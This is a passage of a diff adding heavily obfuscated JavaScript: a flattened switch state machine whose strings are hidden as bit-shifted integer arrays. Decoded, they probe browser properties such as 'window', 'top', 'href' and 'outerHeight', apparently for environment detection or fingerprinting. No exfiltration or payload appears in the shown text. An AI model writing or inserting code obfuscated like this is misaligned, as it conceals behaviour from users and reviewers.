continue; + case 113: + if (_$Zg + _$zg > 0) { + _$cl = _$zg; + _$vl = 2; + _$sl = _$cl << _$vl; + _$zg = _$sl; + _$cl = _$zg; + _$vl = _$ng; + _$sl = _$ng; + _$nl = _$vl + _$sl; + _$fl = _$cl >> _$nl; + _$ol = _$Ng; + _$ll = _$fl >> _$ol; + _$Zg = _$ll; + _$cl = _$Zg; + _$vl = _$ng; + _$sl = _$cl / _$vl; + _$ng = _$sl + } + _$cs += 88; + continue; + case 114: + _$pY = _$fD; + _$cs -= 11; + continue; + case 115: + _$JW = _$Tm; + _$cs += 644; + continue; + case 116: + _$Au = _$BC; + _$cs += 444; + continue; + case 117: + if (!_$zg) { + _$cl = _$ng; + _$vl = 2; + _$sl = _$zg; + _$nl = _$vl + _$sl; + _$fl = _$Zg; + _$ol = _$nl - _$fl; + _$ll = _$cl << _$ol; + _$ng = _$ll + } + _$cs += 134; + continue; + case 118: + _$Su = _$iQ; + _$cs += 157; + continue; + case 119: + _$du = 1; + _$cs += 568; + continue; + case 120: + _$UW = []; + _$cs += 137; + continue; + case 121: + _$RQ = _$RQ + 1; + _$cs += 56; + continue; + case 122: + _$ul = _$Rp[_$pu]; + _$cs += 483; + continue; + case 123: + _$mu = _$xy; + _$Tu = _$hS; + _$ju = 1; + _$cs += 714; + case 124: + _$ju = _$ju + 1; + _$cs -= 351; + continue; + case 125: + _$pu = _$BC; + _$cs += 24; + continue; + case 126: + _$Wg = _$Yg; + _$cs += 447; + continue; + case 127: + _$ig = _$Zg[0]; + _$cs += 136; + continue; + case 128: + _$Cu = _$eC; + _$Du = {}; + _$Ku = _$Wk + _$Ak + _$Tk + _$Qk + _$Gk + _$Kk + _$zk + _$Nk + _$Uk + _$Dk + _$Ck + _$Yk + _$Ok + _$Zk + _$jk + _$Sk + _$mk + _$Pk; + _$Qu = _$bW(_$Ku.d(0) - _$Ku.length); + _$cs += 391; + continue; + case 129: + for (_$Wu = 0; _$Wu < _$cw; _$Wu++) { + _$cl = _$ew; + _$vl = _$$y; + _$sl = _$_C; + _$nl = _$iw; + _$fl = _$vl[_$sl](_$nl); + _$ol = _$aw(_$cl, _$fl); + _$tw = _$ol; + _$iw++; + _$cl = _$ew; + _$vl = _$$y; + _$sl = _$_C; + _$nl = _$iw; + _$fl = _$vl[_$sl](_$nl); + _$ol = _$aw(_$cl, _$fl); + _$nw = _$ol; + _$iw++; + _$cl = _$ew; + _$vl = _$$y; + _$sl = _$_C; + _$nl = _$iw; + _$fl = _$vl[_$sl](_$nl); + _$ol = _$aw(_$cl, _$fl); + _$sw = _$ol; + _$iw++; + _$cl = _$ew; + _$vl = _$$y; + _$sl = _$_C; + _$nl = _$iw; + _$fl = _$vl[_$sl](_$nl); + _$ol = _$aw(_$cl, _$fl); + _$vw = _$ol; + _$iw++; + _$cl = _$ow; + _$vl = _$Wu; + _$sl = _$tw; + _$nl = _$rw; + _$fl = _$sl * _$nl; + _$ol = _$rw; + _$ll = _$fl * _$ol; + _$hl = _$rw; + _$gl = _$ll * _$hl; + _$Zl = _$nw; + _$zl = _$rw; + _$El = _$Zl * _$zl; + _$Rl = _$rw; + _$_l = _$El * _$Rl; + _$Ll = _$gl + _$_l; + _$Vl = _$sw; + _$ql = _$rw; + _$tu = _$Vl * _$ql; + _$iu = _$Ll + _$tu; + _$ou = _$vw; + _$ku = _$iu + _$ou; + _$cl[_$vl] = _$ku + } + _$cs += 596; + continue; + case 130: + _$zg = _$zg + _$Zg[6]; + _$cs += 304; + continue; + case 131: + _$jd = [50688, 51712, 53760, 55296]; + _$cs += 90; + continue; + case 132: + _$Yu = _$fa; + _$Uu = 1; + _$cs += 395; + continue; + case 133: + if (!_$oA) { + _$cl = _$bA; + _$vl = 2; + _$sl = _$oA; + _$nl = _$vl + _$sl; + _$fl = _$pg; + _$ol = _$nl - _$fl; + _$ll = _$cl << _$ol; + _$bA = _$ll + } + _$cs += 109; + continue; + case 134: + for (_$Pu = 0; _$Pu < _$qh.length; _$Pu++) { + _$cl = _$vp; + _$vl = _$qh; + _$sl = _$Pu; + _$nl = _$vl[_$sl]; + _$fl = 16; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$vp = _$hl + } + _$cs += 142; + continue; + case 135: + _$Gu = _$pW; + _$Nu = _$PS; + _$Zu = 1; + _$cs += 135; + continue; + case 136: + _$zu = _$xp; + _$Eu = _$na; + _$Ru = 1; + _$cs += 495; + continue; + case 137: + _$_u = []; + _$cs += 592; + continue; + case 138: + _$Lu = _$JD; + _$qu = {}; + _$Hu = _$Wk + _$Ak + _$pk + _$tk + _$Mk + _$hk + _$nk + _$wk + _$Ik + _$ok + _$kk + _$ik + _$uk + _$lk + _$fk + _$dk + _$gk + _$bk + _$yk + _$Pk; + _$xu = _$bW(_$Hu.d(0) - _$Hu.length); + _$cs += 442; + continue; + case 139: + for (_$Xu = 0; _$Xu < _$fg.length; _$Xu++) { + _$cl = _$fg; + _$vl = _$Xu; + _$sl = 9; + _$cl[_$vl] = _$sl + } + _$cs -= 124; + continue; + case 140: + _$zg += _$_C; + _$cs += 603; + continue; + case 141: + _$Fu = _$Rp[_$bj]; + _$Ju = _$sa; + _$$u = 1; + _$cs += 634; + continue; + case 142: + _$ap = _$DK; + _$cs -= 136; + continue; + case 143: + _$pT = _$wT; + _$cs += 156; + continue; + case 144: + _$cA = 1; + _$cs += 23; + continue; + case 145: + _$Kd = [7104, 7488, 7424, 6464, 7296, 4608, 6464, 6720, 6592, 6656, 7424]; + _$cs += 1; + continue; + case 146: + for (_$ep = 0; _$ep < _$Kd.length; _$ep++) { + _$cl = _$bj; + _$vl = _$Kd; + _$sl = _$ep; + _$nl = _$vl[_$sl]; + _$fl = 6; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$bj = _$hl + } + _$cs -= 64; + continue; + case 147: + _$Wg = 1; + _$cs += 434; + continue; + case 148: + _$Gg = 1; + _$cs += 500; + continue; + case 149: + _$Yu = _$Uu; + _$cs -= 100; + continue; + case 150: + _$RY = _$rI; + _$cs += 140; + continue; + case 151: + _$mW = _$gw; + _$cs -= 95; + continue; + case 152: + _$rp = _$kK[2]; + _$cp = _$BC; + _$cs += 17; + continue; + case 153: + return _$fg; + case 154: + if (_$zg + _$ng < 0) { + _$cl = _$Ng; + _$vl = _$zg; + _$sl = _$ng; + _$nl = _$vl * _$sl; + _$fl = _$cl << _$nl; + _$ol = _$Ng; + _$ll = _$fl >> _$ol; + _$Zg = _$ll + } + _$cs -= 41; + continue; + case 155: + _$vp = new Date; + _$Pu = _$BC; + _$Yu = _$va; + _$Uu = 1; + _$cs += 522; + continue; + case 156: + _$zg = _$zg + _$Zg[8]; + _$cs += 438; + continue; + case 157: + _$bg = _$bg - _$og[2]; + _$cs += 97; + continue; + case 158: + _$BQ = _$BQ.p(_$xQ); + _$cs += 285; + continue; + case 159: + _$Gg = _$ca; + _$Ng = 1; + _$Zg = []; + _$zg = _$sk + _$vk; + _$cs += 6; + continue; + case 160: + _$bg = _$bg / _$og[8]; + _$cs += 37; + continue; + case 161: + if (_$wD && _$qg) { + _$cl = _$cS; + _$sp = _$cl; + _$vl = 1; + _$np = _$vl; + _$cl = _$np; + _$vl = 1; + _$sl = _$cl + _$vl; + _$np = _$sl; + _$cl = 1; + _$sp = _$cl; + _$cl = _$BC; + _$fp = _$cl; + _$cl = _$np; + _$sp = _$cl; + _$cl = 29696; + _$vl = 28416; + _$sl = 28672; + _$nl = [_$cl, _$vl, _$sl]; + _$np = _$nl; + for (_$tp = 0; _$tp < _$np.length; _$tp++) { + _$cl = _$fp; + _$vl = _$np; + _$sl = _$tp; + _$nl = _$vl[_$sl]; + _$fl = 8; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$fp = _$hl + } + _$cl = _$np; + _$vl = _$LC; + _$sl = _$sp; + _$nl = _$cl[_$vl](_$sl); + _$np = _$nl; + _$cl = _$Jo + _$Xo + _$ek + _$Bo + _$xo + _$Fo; + _$pp = _$cl; + _$cl = _$pp; + _$vl = _$PC; + _$sl = _$cl[_$vl]; + _$ip = _$sl; + _$cl = []; + _$yp = _$cl; + for (_$wp = 0; _$wp < _$ip; _$wp++) { + _$cl = _$pp; + _$vl = _$OC; + _$sl = _$wp; + _$nl = _$cl[_$vl](_$sl); + _$op = _$nl; + _$cl = _$op; + _$vl = 65536; + _$sl = _$cl >= _$vl; + _$nl = _$sl; + if (_$nl) { + _$nh = _$op; + _$fh = 1114111; + _$nl = _$nh <= _$fh + } + if (_$nl) { + _$cl = _$yp; + _$vl = _$LC; + _$sl = _$op; + _$nl = 18; + _$fl = _$sl >> _$nl; + _$ol = 7; + _$ll = _$fl & _$ol; + _$hl = 240; + _$gl = _$ll | _$hl; + _$cl[_$vl](_$gl); + _$cl = _$yp; + _$vl = _$LC; + _$sl = _$op; + _$nl = 12; + _$fl = _$sl >> _$nl; + _$ol = 63; + _$ll = _$fl & _$ol; + _$hl = 128; + _$gl = _$ll | _$hl; + _$cl[_$vl](_$gl); + _$cl = _$yp; + _$vl = _$LC; + _$sl = _$op; + _$nl = 6; + _$fl = _$sl >> _$nl; + _$ol = 63; + _$ll = _$fl & _$ol; + _$hl = 128; + _$gl = _$ll | _$hl; + _$cl[_$vl](_$gl); + _$cl = _$yp; + _$vl = _$LC; + _$sl = _$op; + _$nl = 63; + _$fl = _$sl & _$nl; + _$ol = 128; + _$ll = _$fl | _$ol; + _$cl[_$vl](_$ll) + } else { + _$cl = _$op; + _$vl = 2048; + _$sl = _$cl >= _$vl; + _$nl = _$sl; + if (_$nl) { + _$nh = _$op; + _$fh = 65535; + _$nl = _$nh <= _$fh + } + if (_$nl) { + _$cl = _$yp; + _$vl = _$LC; + _$sl = _$op; + _$nl = 12; + _$fl = _$sl >> _$nl; + _$ol = 15; + _$ll = _$fl & _$ol; + _$hl = 224; + _$gl = _$ll | _$hl; + _$cl[_$vl](_$gl); + _$cl = _$yp; + _$vl = _$LC; + _$sl = _$op; + _$nl = 6; + _$fl = _$sl >> _$nl; + _$ol = 63; + _$ll = _$fl & _$ol; + _$hl = 128; + _$gl = _$ll | _$hl; + _$cl[_$vl](_$gl); + _$cl = _$yp; + _$vl = _$LC; + _$sl = _$op; + _$nl = 63; + _$fl = _$sl & _$nl; + _$ol = 128; + _$ll = _$fl | _$ol; + _$cl[_$vl](_$ll) + } else { + _$cl = _$op; + _$vl = 128; + _$sl = _$cl >= _$vl; + _$nl = _$sl; + if (_$nl) { + _$nh = _$op; + _$fh = 2047; + _$nl = _$nh <= _$fh + } + if (_$nl) { + _$cl = _$yp; + _$vl = _$LC; + _$sl = _$op; + _$nl = 6; + _$fl = _$sl >> _$nl; + _$ol = 31; + _$ll = _$fl & _$ol; + _$hl = 192; + _$gl = _$ll | _$hl; + _$cl[_$vl](_$gl); + _$cl = _$yp; + _$vl = _$LC; + _$sl = _$op; + _$nl = 63; + _$fl = _$sl & _$nl; + _$ol = 128; + _$ll = _$fl | _$ol; + _$cl[_$vl](_$ll) + } else { + _$cl = _$yp; + _$vl = _$LC; + _$sl = _$op; + _$nl = 255; + _$fl = _$sl & _$nl; + _$cl[_$vl](_$fl) + } + } + } + } + _$cl = _$yp; + _$vl = _$PC; + _$sl = _$cl[_$vl]; + _$kp = _$sl; + _$cl = _$kp; + _$vl = 2; + _$sl = _$cl / _$vl; + _$kp = _$sl; + _$cl = []; + _$dp = _$cl; + _$cl = 0; + _$bp = _$cl; + for (_$Mp = 0; _$Mp < _$kp; _$Mp++) { + _$cl = _$yp; + _$vl = _$bp; + _$sl = _$cl[_$vl]; + _$gp = _$sl; + _$cl = _$yp; + _$vl = _$bp; + _$sl = 1; + _$nl = _$vl + _$sl; + _$fl = _$cl[_$nl]; + _$up = _$fl; + _$cl = _$bp; + _$vl = 2; + _$sl = _$cl + _$vl; + _$bp = _$sl; + _$cl = _$gp; + _$vl = 46; + _$sl = _$cl - _$vl; + _$gp = _$sl; + _$cl = _$up; + _$vl = 46; + _$sl = _$cl - _$vl; + _$up = _$sl; + _$cl = _$up; + _$vl = 19; + _$sl = _$cl * _$vl; + _$nl = _$gp; + _$fl = _$sl + _$nl; + _$hp = _$fl; + _$cl = _$hp; + _$vl = 11; + _$sl = _$cl ^ _$vl; + _$lp = _$sl; + _$cl = _$dp; + _$vl = _$Mp; + _$sl = _$lp; + _$cl[_$vl] = _$sl + } + _$cl = _$BC; + _$Ip = _$cl; + for (_$jp = 0; _$jp < _$dp.length; _$jp++) { + _$cl = _$dp; + _$vl = _$jp; + _$sl = _$cl[_$vl]; + _$nl = _$rb + _$cb; + _$fl = 2; + _$ol = _$sl[_$nl](_$fl); + _$Ap = _$ol; + _$cl = _$Ap; + _$vl = _$LS; + _$sl = /^1+?(?=0)/; + _$nl = _$cl[_$vl](_$sl); + _$Sp = _$nl; + _$cl = _$Sp; + _$vl = _$cl; + if (_$vl) { + _$nh = _$Ap; + _$fh = _$PC; + _$uh = _$nh[_$fh]; + _$ph = 8; + _$vl = _$uh === _$ph + } + if (_$vl) { + _$cl = _$Sp; + _$vl = 0; + _$sl = _$cl[_$vl]; + _$nl = _$PC; + _$fl = _$sl[_$nl]; + _$mp = _$fl; + _$cl = _$dp; + _$vl = _$jp; + _$sl = _$cl[_$vl]; + _$nl = _$ab + _$eb; + _$fl = 2; + _$ol = _$sl[_$nl](_$fl); + _$ll = _$_S; + _$hl = 7; + _$gl = _$mp; + _$Zl = _$hl - _$gl; + _$zl = _$ol[_$ll](_$Zl); + _$Tp = _$zl; + for (_$Cp = 0; _$Cp < _$mp; _$Cp++) { + _$cl = _$dp; + _$vl = _$Cp; + _$sl = _$jp; + _$nl = _$vl + _$sl; + _$fl = _$cl[_$nl]; + _$ol = _$sb + _$vb; + _$ll = 2; + _$hl = _$fl[_$ol](_$ll); + _$gl = _$_S; + _$Zl = 2; + _$zl = _$hl[_$gl](_$Zl); + _$Tp += _$zl + } + _$cl = _$Tp; + _$vl = 2; + _$sl = parseInt(_$cl, _$vl); + _$nl = _$bW(_$sl); + _$Ip += _$nl; + _$cl = _$mp; + _$vl = 1; + _$sl = _$cl - _$vl; + _$jp += _$sl + } else { + _$cl = _$dp; + _$vl = _$jp; + _$sl = _$cl[_$vl]; + _$nl = _$bW(_$sl); + _$Ip += _$nl + } + } + _$cl = _$rS; + _$Dp = _$cl; + _$vl = 1; + _$Kp = _$vl; + _$cl = _$Kp; + _$vl = 1; + _$sl = _$cl + _$vl; + _$Kp = _$sl; + _$cl = 1; + _$Dp = _$cl; + _$cl = _$BC; + _$Qp = _$cl; + _$cl = _$Kp; + _$Dp = _$cl; + _$cl = 232; + _$vl = 222; + _$sl = 224; + _$nl = [_$cl, _$vl, _$sl]; + _$Kp = _$nl; + for (_$Wp = 0; _$Wp < _$Kp.length; _$Wp++) { + _$cl = _$Qp; + _$vl = _$Kp; + _$sl = _$Wp; + _$nl = _$vl[_$sl]; + _$fl = 1; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$Qp = _$hl + } + _$cl = _$Kp; + _$vl = _$LC; + _$sl = _$Dp; + _$nl = _$cl[_$vl](_$sl); + _$Kp = _$nl; + _$cl = _$qg; + _$vl = _$Ip; + _$sl = _$fp; + _$nl = _$cl[_$vl](_$sl); + _$fl = _$nl; + if (!_$fl) { + _$nh = _$qg; + _$fh = _$Qp; + _$fl = _$nh[_$fh] + } + _$wD = _$fl + } + _$cs += 625; + continue; + case 162: + for (_$jg = 0; _$jg < _$Rp[_$mI].length; ++_$jg) { + _$cl = _$Rp; + _$vl = _$mI; + _$sl = _$cl[_$vl]; + _$nl = _$jg; + _$fl = _$sl[_$nl]; + ans += _$fl + } + _$cs += 20; + continue; + case 163: + if (_$Zg + _$ng > 0) { + _$cl = _$zg; + _$vl = 4; + _$sl = _$Zg; + _$nl = _$vl + _$sl; + _$fl = _$cl >> _$nl; + _$ol = 3; + _$ll = _$Zg; + _$hl = _$ol * _$ll; + _$gl = _$zg; + _$Zl = _$hl + _$gl; + _$zl = _$fl >> _$Zl; + _$El = 2; + _$Rl = _$zl << _$El; + _$ng = _$Rl + } + _$cs += 334; + continue; + case 164: + _$aY = _$eQ; + _$cs += 457; + continue; + case 165: + for (_$ng = _$zg.length - 1; _$ng >= 0; _$ng--) { + _$cl = _$Zg; + _$vl = _$LC; + _$sl = _$zg; + _$nl = _$_C; + _$fl = _$ng; + _$ol = _$sl[_$nl](_$fl); + _$cl[_$vl](_$ol) + } + _$cs += 538; + continue; + case 166: + _$zg = []; + _$cs += 333; + continue; + case 167: + _$Yp = _$BC; + _$cs += 410; + continue; + case 168: + for (_$Up = 0; _$Up < _$KI.length; _$Up++) { + _$cl = _$KI; + _$vl = _$Up; + _$sl = 0; + _$cl[_$vl] = _$sl + } + _$cs += 6; + continue; + case 169: + for (_$Op = 0, + _$Pp = _$tY.length; _$Op < _$Pp; _$Op++) { + _$cl = _$tY; + _$vl = _$Op; + _$sl = _$cl[_$vl]; + _$nl = _$bW(_$sl); + _$cp += _$nl + } + _$cs += 83; + continue; + case 170: + _$zg = _$ra; + _$ng = 1; + _$cs += 306; + continue; + case 171: + _$bg = _$bg * _$og[6]; + _$cs += 332; + continue; + case 172: + if (_$wD) { + _$cl = _$_A; + _$Gp = _$cl; + _$vl = 1; + _$Np = _$vl; + _$cl = _$Np; + _$vl = 1; + _$sl = _$cl + _$vl; + _$Np = _$sl; + _$cl = 1; + _$Gp = _$cl; + _$cl = _$BC; + _$Zp = _$cl; + _$cl = _$Np; + _$Gp = _$cl; + _$cl = 3328; + _$vl = 3648; + _$sl = 3232; + _$nl = 3264; + _$fl = [_$cl, _$vl, _$sl, _$nl]; + _$Np = _$fl; + for (_$zp = 0; _$zp < _$Np.length; _$zp++) { + _$cl = _$Zp; + _$vl = _$Np; + _$sl = _$zp; + _$nl = _$vl[_$sl]; + _$fl = 5; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$Zp = _$hl + } + _$cl = _$Np; + _$vl = _$LC; + _$sl = _$Gp; + _$nl = _$cl[_$vl](_$sl); + _$Np = _$nl; + _$cl = _$qg; + _$vl = _$Zp; + _$sl = _$cl[_$vl]; + _$qg = _$sl + } + _$cs += 77; + continue; + case 173: + for (_$Ep = 0; _$Ep < _$Lg.length; _$Ep++) { + _$cl = _$_d; + _$vl = _$Lg; + _$sl = _$Ep; + _$nl = _$vl[_$sl]; + _$fl = 1; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$_d = _$hl + } + _$cs += 221; + continue; + case 174: + _$Rp = _$KI; + _$cs -= 111; + continue; + case 175: + for (_$_p = 0, + _$Lp = _$sj.length; _$_p < _$Lp; _$_p++) { + _$cl = _$rI; + _$vl = _$LC; + _$sl = _$sj; + _$nl = _$OC; + _$fl = _$_p; + _$ol = _$sl[_$nl](_$fl); + _$cl[_$vl](_$ol) + } + _$cs -= 25; + continue; + case 176: + for (_$Eg = 0, + _$ig = _$vs.length; _$Eg < _$ig; _$Eg++) { + _$cl = _$vs; + _$vl = _$Eg; + _$sl = _$cl[_$vl]; + _$nl = _$bW(_$sl); + _$Gg += _$nl + } + _$cs -= 103; + continue; + case 177: + _$zQ = 1; + _$cs += 540; + continue; + case 178: + _$eK = _$eK + 1; + _$cs += 157; + continue; + case 179: + for (_$Vp = 0, + _$qp = _$MD.length; _$Vp < _$qp; _$Vp++) { + _$cl = _$eQ; + _$vl = _$LC; + _$sl = _$MD; + _$nl = _$OC; + _$fl = _$Vp; + _$ol = _$sl[_$nl](_$fl); + _$cl[_$vl](_$ol) + } + _$cs -= 15; + continue; + case 180: + _$Hp = _$BC; + _$cs += 268; + continue; + case 181: + _$mW = _$Kh; + _$cs += 390; + continue; + case 182: + _$wl = _$og[0]; + _$dl = _$mW; + _$xp = _$BC; + _$fu = 0; + _$gu = false; + _$cs += 211; + continue; + case 183: + _$hd = _$gd; + _$cs += 192; + continue; + case 184: + if (_$wD && _$qg) { + _$cl = _$aS; + _$cy = _$cl; + _$vl = 1; + _$sy = _$vl; + _$cl = _$sy; + _$vl = 1; + _$sl = _$cl + _$vl; + _$sy = _$sl; + _$cl = 1; + _$cy = _$cl; + _$cl = _$BC; + _$fy = _$cl; + _$cl = _$sy; + _$cy = _$cl; + _$cl = 1949696; + _$vl = 1720320; + _$sl = 1802240; + _$nl = 1638400; + _$fl = 1818624; + _$ol = 1949696; + _$ll = [_$cl, _$vl, _$sl, _$nl, _$fl, _$ol]; + _$sy = _$ll; + for (_$ty = 0; _$ty < _$sy.length; _$ty++) { + _$cl = _$fy; + _$vl = _$sy; + _$sl = _$ty; + _$nl = _$vl[_$sl]; + _$fl = 14; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$fy = _$hl + } + _$cl = _$sy; + _$vl = _$LC; + _$sl = _$cy; + _$nl = _$cl[_$vl](_$sl); + _$sy = _$nl; + _$cl = _$$A; + _$iy = _$cl; + _$vl = 1; + _$oy = _$vl; + _$cl = _$oy; + _$vl = 1; + _$sl = _$cl + _$vl; + _$oy = _$sl; + _$cl = 1; + _$iy = _$cl; + _$cl = _$BC; + _$ky = _$cl; + _$cl = _$oy; + _$iy = _$cl; + _$cl = 13312; + _$vl = 12416; + _$sl = 14720; + _$nl = 10112; + _$fl = 15232; + _$ol = 14080; + _$ll = 10240; + _$hl = 14592; + _$gl = 14208; + _$Zl = 14336; + _$zl = 12928; + _$El = 14592; + _$Rl = 14848; + _$_l = 15488; + _$Ll = [_$cl, _$vl, _$sl, _$nl, _$fl, _$ol, _$ll, _$hl, _$gl, _$Zl, _$zl, _$El, _$Rl, _$_l]; + _$oy = _$Ll; + for (_$by = 0; _$by < _$oy.length; _$by++) { + _$cl = _$ky; + _$vl = _$oy; + _$sl = _$by; + _$nl = _$vl[_$sl]; + _$fl = 7; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$ky = _$hl + } + _$cl = _$oy; + _$vl = _$LC; + _$sl = _$iy; + _$nl = _$cl[_$vl](_$sl); + _$oy = _$nl; + _$cl = _$JA; + _$ly = _$cl; + _$vl = 1; + _$hy = _$vl; + _$cl = _$hy; + _$vl = 1; + _$sl = _$cl + _$vl; + _$hy = _$sl; + _$cl = 1; + _$ly = _$cl; + _$cl = _$BC; + _$gy = _$cl; + _$cl = _$hy; + _$ly = _$cl; + _$cl = 243712; + _$vl = 215040; + _$sl = 225280; + _$nl = 204800; + _$fl = 227328; + _$ol = 243712; + _$ll = [_$cl, _$vl, _$sl, _$nl, _$fl, _$ol]; + _$hy = _$ll; + for (_$uy = 0; _$uy < _$hy.length; _$uy++) { + _$cl = _$gy; + _$vl = _$hy; + _$sl = _$uy; + _$nl = _$vl[_$sl]; + _$fl = 11; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$gy = _$hl + } + _$cl = _$hy; + _$vl = _$LC; + _$sl = _$ly; + _$nl = _$cl[_$vl](_$sl); + _$hy = _$nl; + _$cl = _$qg; + _$vl = _$ky; + _$sl = _$gy; + _$nl = _$cl[_$vl](_$sl); + _$fl = _$nl; + if (!_$fl) { + _$nh = _$qg; + _$fh = _$fy; + _$fl = _$nh[_$fh] + } + _$wD = _$fl + } + _$cs += 222; + continue; + case 185: + _$Xg = 1; + _$cs += 461; + continue; + case 186: + _$Og = _$Pg; + _$cs += 541; + continue; + case 187: + _$bg = 1; + _$cs += 491; + continue; + case 188: + try { + _$cl = Int; + _$py = _$cl + } catch (_$fs) {} + _$cs += 15; + continue; + case 189: + _$yy = 0; + _$wy = 0; + _$cs += 316; + continue; + case 190: + _$bw = 1; + _$cs += 554; + continue; + case 191: + _$ng = [1632, 1728, 1776, 1776, 1824]; + _$cs += 459; + continue; + case 192: + _$pT = 1; + _$cs -= 32; + continue; + case 193: + _$lw = _$lw.p(_$bw); + _$cs += 16; + continue; + case 194: + if (_$wD && _$qg) { + _$cl = _$oS; + _$dy = _$cl; + _$vl = 1; + _$My = _$vl; + _$cl = _$My; + _$vl = 1; + _$sl = _$cl + _$vl; + _$My = _$sl; + _$cl = 1; + _$dy = _$cl; + _$cl = _$BC; + _$Iy = _$cl; + _$cl = _$My; + _$dy = _$cl; + _$cl = 3808; + _$vl = 3360; + _$sl = 3520; + _$nl = 3200; + _$fl = 3552; + _$ol = 3808; + _$ll = [_$cl, _$vl, _$sl, _$nl, _$fl, _$ol]; + _$My = _$ll; + for (_$Ay = 0; _$Ay < _$My.length; _$Ay++) { + _$cl = _$Iy; + _$vl = _$My; + _$sl = _$Ay; + _$nl = _$vl[_$sl]; + _$fl = 5; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$Iy = _$hl + } + _$cl = _$My; + _$vl = _$LC; + _$sl = _$dy; + _$nl = _$cl[_$vl](_$sl); + _$My = _$nl; + _$cl = _$iS; + _$Sy = _$cl; + _$vl = 1; + _$jy = _$vl; + _$cl = _$jy; + _$vl = 1; + _$sl = _$cl + _$vl; + _$jy = _$sl; + _$cl = 1; + _$Sy = _$cl; + _$cl = _$BC; + _$Cy = _$cl; + _$cl = _$jy; + _$Sy = _$cl; + _$cl = 974848; + _$vl = 860160; + _$sl = 901120; + _$nl = 819200; + _$fl = 909312; + _$ol = 974848; + _$ll = [_$cl, _$vl, _$sl, _$nl, _$fl, _$ol]; + _$jy = _$ll; + for (_$Ky = 0; _$Ky < _$jy.length; _$Ky++) { + _$cl = _$Cy; + _$vl = _$jy; + _$sl = _$Ky; + _$nl = _$vl[_$sl]; + _$fl = 13; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$Cy = _$hl + } + _$cl = _$jy; + _$vl = _$LC; + _$sl = _$Sy; + _$nl = _$cl[_$vl](_$sl); + _$jy = _$nl; + _$cl = _$qg; + _$vl = _$Hg; + _$sl = _$Cy; + _$nl = _$cl[_$vl](_$sl); + _$fl = _$nl; + if (!_$fl) { + _$nh = _$qg; + _$fh = _$Iy; + _$fl = _$nh[_$fh] + } + _$wD = _$fl + } + _$cs += 521; + continue; + case 195: + _$tY = _$Hy; + _$cs += 214; + continue; + case 196: + _$bg = _$bg - _$og[6]; + _$cs -= 1; + continue; + case 197: + _$Qy = _$BC; + _$cs -= 54; + continue; + case 198: + _$pg = _$pg.p(_$ug); + _$cs -= 120; + continue; + case 199: + for (_$Wy = 0; _$Wy < _$wg.length; _$Wy++) { + _$cl = _$py; + _$vl = _$wg; + _$sl = _$Wy; + _$nl = _$vl[_$sl]; + _$fl = 8; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$py = _$hl + } + _$cs += 490; + case 200: + _$wg = _$wg.p(_$wy); + _$cs -= 308; + continue; + case 201: + if (!_$Zg) { + _$cl = _$zg; + _$vl = 2; + _$sl = _$Zg; + _$nl = _$vl + _$sl; + _$fl = _$Ng; + _$ol = _$nl - _$fl; + _$ll = _$cl << _$ol; + _$zg = _$ll + } + _$cs -= 154; + continue; + case 202: + _$Yy = _$Xy; + _$cs += 531; + continue; + case 203: + for (_$hg = 0; _$hg < _$jA * _$CA; _$hg++) { + _$cl = _$To; + _$Wy = _$cl; + _$vl = 1; + _$Uy = _$vl; + _$cl = _$Uy; + _$vl = 1; + _$sl = _$cl + _$vl; + _$Uy = _$sl; + _$cl = 1; + _$Wy = _$cl; + _$cl = _$BC; + _$Oy = _$cl; + _$cl = _$Uy; + _$Wy = _$cl; + _$cl = 835584; + _$vl = 884736; + _$sl = 909312; + _$nl = 909312; + _$fl = 933888; + _$ol = [_$cl, _$vl, _$sl, _$nl, _$fl]; + _$Uy = _$ol; + for (_$Py = 0; _$Py < _$Uy.length; _$Py++) { + _$cl = _$Oy; + _$vl = _$Uy; + _$sl = _$Py; + _$nl = _$vl[_$sl]; + _$fl = 13; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$Oy = _$hl + } + _$cl = _$Uy; + _$vl = _$LC; + _$sl = _$Wy; + _$nl = _$cl[_$vl](_$sl); + _$Uy = _$nl; + _$cl = _$rA; + _$vl = _$hg; + _$sl = _$jA; + _$nl = _$vl % _$sl; + _$fl = _$cl[_$nl]; + _$ol = Math; + _$ll = _$Oy; + _$hl = _$hg; + _$gl = _$jA; + _$Zl = _$hl / _$gl; + _$zl = _$ol[_$ll](_$Zl); + _$El = _$fl[_$zl]; + _$Gy = _$El; + _$cl = _$Gy; + if (_$cl) { + _$cl = _$wg; + _$vl = _$LC; + _$sl = _$Gy; + _$cl[_$vl](_$sl) + } + } + _$cs += 479; + continue; + case 204: + _$oC = _$oC + 1; + _$cs += 561; + continue; + case 205: + for (_$Ny = 0; _$Ny < _$Yg.length; _$Ny++) { + _$cl = _$SD; + _$vl = _$Yg; + _$sl = _$Ny; + _$nl = _$vl[_$sl]; + _$fl = 9; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$SD = _$hl + } + _$cs += 502; + continue; + case 206: + _$Yg = _$Yg + 1; + _$cs -= 59; + continue; + case 207: + _$pg = _$pg + 1; + _$cs += 181; + continue; + case 208: + if (_$wD) { + _$cl = _$AS; + _$Zy = _$cl; + _$vl = 1; + _$zy = _$vl; + _$cl = _$zy; + _$vl = 1; + _$sl = _$cl + _$vl; + _$zy = _$sl; + _$cl = 1; + _$Zy = _$cl; + _$cl = _$BC; + _$Ly = 